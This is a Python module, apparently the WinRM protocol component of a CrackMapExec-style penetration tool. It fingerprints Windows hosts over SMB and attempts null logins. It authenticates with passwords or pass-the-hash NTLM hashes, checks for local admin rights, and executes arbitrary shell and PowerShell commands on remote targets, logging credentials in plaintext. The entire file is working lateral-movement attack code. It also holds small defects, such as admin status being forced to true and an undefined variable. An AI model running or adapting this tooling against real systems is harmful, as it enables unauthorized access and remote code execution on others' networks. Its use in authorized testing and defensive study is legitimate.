self.parse_output(r)
class winrm(connection): def __init__(self, args, db, host): self.domain = None self.port = ' ' self.server_os = None self.os_arch = 0 self.hash = None self.lmhash = '' self.nthash = '' self.remote_ops = None self.bootkey = None self.output_filename = None self.smbv = None self.signing = False self.smb_share_name = smb_share_name self.debug = args.debug self.dc_ip = args.domaincontroller self.domain_dns = None connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) winrm_parser.add_argument( "-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') winrm_parser.add_argument("-smbport", "--smbport", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)") winrm_parser.add_argument("-dc", '--domaincontroller', type=str, default='', help='the IP of a domain controller') auth_group = winrm_parser.add_mutually_exclusive_group() auth_group.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") auth_group.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') command_group = winrm_parser.add_argument_group( "Command Execution", "Options for executing commands") command_group.add_argument('--no-output', action='store_true', help='do not retrieve command output') command_group.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") command_group.add_argument( "-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') return parser def proto_logger(self): self.logger = CMXLogAdapter( extra={ 'protocol': 'WinRM', 'host': ('->' + self.host), 'port': self.port, 'hostname': self.hostname }) #self.options.logger = self.logger def enum_host_info(self): """Fingerprint host via smb connection. Grabs info prior to unauthenticated """ # self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] try: self.smbconn.login('', '') logging.debug("Null login?") self.logger.success('Null login allowed') except impacket.smbconnection.SessionError as e: if "STATUS_ACCESS_DENIED" in str(e): logging.debug("Null login not allowed") pass self.domain = self.smbconn.getServerDomain() # OCEAN self.hostname = self.smbconn.getServerName() # WIN7-PC self.server_os = self.smbconn.getServerOS() # WIndows 6.1 Build 7601 self.signing = self.smbconn.isSigningRequired() # True/false self.os_arch = self.get_os_arch() # 64 self.domain_dns = self.smbconn.getServerDNSDomainName() # ocean.depth self.logger.hostname = self.hostname dialect = self.smbconn.getDialect() # print (self.conn.getServerDomain()) # OCEAN # print (self.conn.getServerName()) # WIN7-PC # print (self.conn.getServerOS()) # WIndows 6.1 Build 7601 # print (self.conn.isSigningRequired()) # True # print (self.get_os_arch()) # 64 # print (self.conn.getDialect()) # 528 # print (self.conn.getRemoteHost()) # IPaddress # print (self.conn.getRemoteName()) # win7-pc # print (self.conn.getServerDNSDomainName()) # ocean.depth # print (self.conn.getServerOSMajor()) # 6 # print (self.conn.getServerOSMinor()) # 1 # print (self.conn.getServerOSBuild()) # 7601 # print (self.conn.doesSupportNTLMv2()) # True # print (self.conn.isLoginRequired()) # True if dialect == impacket.smb.SMB_DIALECT: self.smbv = '1' logging.debug("SMBv1 dialect used") elif dialect == impacket.smb3structs.SMB2_DIALECT_002: self.smbv = '2.0' logging.debug("SMBv2.0 dialect used") elif dialect == impacket.smb3structs.SMB2_DIALECT_21: self.smbv = '2.1' logging.debug("SMBv2.1 dialect used") elif dialect == impacket.smb3structs.SMB2_DIALECT_30: self.smbv = '3.0' logging.debug("SMBv3.0 dialect used") elif dialect == impacket.smb3structs.SMB2_DIALECT_302: self.smbv = '3.0.2' logging.debug("SMBv3.0.2 dialect used") elif dialect == impacket.smb3structs.SMB2_DIALECT_311: self.smbv = '3.1.1' logging.debug("SMBv3.1.1 dialect used") else: self.smbv = '??' logging.debug("SMB version couldnt be determined?") # Get the DC if we arent local-auth and didnt specify if not self.args.local_auth and self.dc_ip == '': self.dc_ip = self.smbconn.getServerDNSDomainName() if self.args.domain: self.domain = self.args.domain if not self.domain: self.domain = self.hostname self.db.add_computer(self.host, self.hostname, self.domain, self.server_os) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection ''' self.smbconn.logoff() except: pass if self.args.local_auth: self.domain = self.hostname self.output_filename = '{}/{}_{}_{}'.format( cfg.LOGS_PATH, self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S")) #Re-connect since we logged off self.create_conn_obj() def print_host_info(self): """Format help for host info.""" self.logger.announce("{}{} (domain:{}) (signing:{}) (SMBv:{})".format( self.server_os, ' x{}'.format(self.os_arch) if self.os_arch else '', self.domain, self.signing, self.smbv)) self.logger.announce('Targetting: {}'.format(self.endpoint)) def create_smbv1_conn(self): """Setup connection using smbv1.""" try: logging.debug('Attempting SMBv1 connection to {}'.format( self.host)) self.smbconn = impacket.smbconnection.SMBConnection( self.host, self.host, None, self.args.smbport ) #, preferredDialect=impacket.smb.SMB_DIALECT) except socket.error as e: if str(e).find('Connection reset by peer') != -1: logging.debug( 'Connection was reset by target. SMBv1 might be disabled on {}' .format(self.host)) elif str(e).find('No route to host') != -1: logging.debug( 'Could not connect to {}, no route to host. Can you ping it?' .format(self.host)) else: logging.debug( 'Something went wrong, Could not connect to {}, tried smbv1' .format(self.host)) return False except Exception as e: logging.debug('Error creating SMBv1 connection to {}: {}'.format( self.host, e)) return False logging.debug('Connected using SMBv1 to: {}'.format(self.host)) return True def create_smbv3_conn(self): """Setup connection using smbv3. Used for both SMBv2 and SMBv3 """ try: logging.debug('Attempting SMBv3 connection to {}'.format( self.host)) self.smbconn = impacket.smbconnection.SMBConnection( self.host, self.host, None, self.args.smbport) except socket.error as e: if str(e).find('No route to host') != -1: logging.debug('No route to host {}'.format(self.host)) self.logger.announce( 'Could not connect to {}, no route to host. Can you ping it?' .format(self.host)) else: logging.debug( 'Something went wrong, Could not connect to {}, tried smbv3' .format(self.host)) return False except Exception as e: logging.debug('Error creating SMBv3 connection to {}: {}'.format( self.host, e)) return False logging.debug('Connected using SMBv3 to: {}'.format(self.host)) return True def create_conn_obj(self): #first figure out winrm endpoint -- could mabye just make them choose with/without SSL endpoints = [ 'https://{}:5986/wsman'.format(self.host), 'http://{}:5985/wsman'.format(self.host) ] for url in endpoints: try: requests.get(url, verify=False, timeout=10) self.endpoint = url if self.endpoint.startswith('https://'): self.port = 5986 else: self.port = 5985 self.logger.extra['port'] = self.port except Exception as e: if 'Max retries exceeded with url' not in str(e): logging.debug('Error in WinRM create_conn_obj:' + str(e)) #then we build an smb connection to grab some hostinfo - # - could maybe not do this and use output from winrm connection to get some info? if self.create_smbv1_conn(): return True elif self.create_smbv3_conn(): return True return False ############################################################################### # ####### ##### ### # # # # # # # # ## # # # # # # # # # # # # # #### # # # # # # # # # # # # # # # # # # # # ## ####### ####### ##### ### # # ############################################################################### def plaintext_login(self, domain, username, password): try: # pywinrm session class defined here : # https://github.com/diyan/pywinrm/blob/master/winrm/__init__.py self.conn = pywinrm.Session(self.host, auth=('{}\\{}'.format( domain, username), password), transport='ntlm', server_cert_validation='ignore') # session = winrm.Session(host, auth=('{}@{}'.format(user,domain), password), transport='ntlm') # need to remove smb connection stuff and only use winrm self.smbconn.login(username, password, domain) self.password = password self.username = username self.domain = domain # using smb method until the warnings get fixed for urllib, just to cut down on warnings from execute self.admin_privs = self.check_if_admin() #r = self.conn.run_cmd('hostname') # self.parse_output(r) self.admin_privs = True self.logger.success('{}\\{}:{} {}'.format( domain, username, password, highlight('({})'.format(cfg.pwn3d_label) if self. admin_privs else ''))) return True except Exception as e: self.logger.error('{}\\{}:{} "{}"'.format(domain, username, password, e)) return False ############################################################################### ####### # # ####### ##### # # ####### ####### # # # # # # # # # # # # # # # # # # # ##### # ##### # # # # ##### # # # # # # # # # # # # # # # # # # # ####### # # ####### ##### ##### # ####### ############################################################################### def execute(self, payload=None, get_output=False): # run_cmd returns a Response() object # Response() object defined here: https://github.com/diyan/pywinrm/blob/master/winrm/__init__.py r = self.conn.run_cmd(self.args.execute) self.logger.success('Executed command') # result = session.run_cmd('ipconfig', ['/all']) # To run command in cmd # result = session.run_ps('Get-Acl') # To run Powershell block self.parse_output(r) def ps_execute(self, payload=None, get_output=False): r = self.conn.run_ps(self.args.ps_execute) self.logger.success('Executed command') self.parse_output(r) #################################################################################### # # ####### # ###### ####### ###### ##### # # # # # # # # # # # # # # # # # # # # # ####### ##### # ###### ##### ###### ##### # # # # # # # # # # # # # # # # # # # # # ####### ####### # ####### # # ##### #################################################################################### def parse_output(self, response_obj): if response_obj.status_code == 0: buf = StringIO(str(response_obj.std_out, 'UTF-8')).readlines() for line in buf: self.logger.highlight(line) return response_obj.std_out else: buf = StringIO(str(response_obj.std_err, 'UTF-8')).readlines() for line in buf: self.logger.highlight(line) return response_obj.std_err def check_if_admin(self): """Check for localadmin privs. Checked by view all services for sc_manager_all_access Returns: True if localadmin False if not localadmin """ try: rpctransport = impacket.dcerpc.v5.transport.SMBTransport( self.host, 445, r'\svcctl', smb_connection=self.smbconn) dce = rpctransport.get_dce_rpc() dce.connect() try: logging.debug('localadmin Binding start') dce.bind(impacket.dcerpc.v5.scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # this val comes from https://docs.microsoft.com/en-us/windows/win32/services/service-security-and-access-rights # https://github.com/SecureAuthCorp/impacket/blob/master/impacket/dcerpc/v5/scmr.py logging.debug('Verify localadmin via ServicesActive...') ans = impacket.dcerpc.v5.scmr.hROpenSCManagerW( dce, '{}\x00'.format(self.hostname), 'ServicesActive\x00', 0xF003F) logging.debug('pewpewpewPwned baby') dce.disconnect() return True except impacket.dcerpc.v5.rpcrt.DCERPCException: logging.debug('a {}'.format(str(e))) dce.disconnect() pass except impacket.dcerpc.v5.rpcrt.DCERPCException as e: logging.debug('b {}'.format(str(e))) dce.disconnect() return False except Exception: logging.debug('Something went wrong ... Not localadmin :( ') dce.disconnect() return False dce.disconnect() return False def get_os_arch(self): """Identify OS architecture. Returns either 32 or 64 """ try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) rpctransport = impacket.dcerpc.v5.transport.DCERPCTransportFactory( stringBinding) rpctransport.set_connect_timeout(5) dce = rpctransport.get_dce_rpc() dce.connect() try: dce.bind( impacket.dcerpc.v5.epm.MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except impacket.dcerpc.v5.rpcrt.DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except Exception as e: logging.debug( 'Error retrieving os arch of {}: {} using x64'.format( self.host, str(e))) try: dce.disconnect() except impacket.dcerpc.v5.rpcrt.DCERPCException as e: pass return 64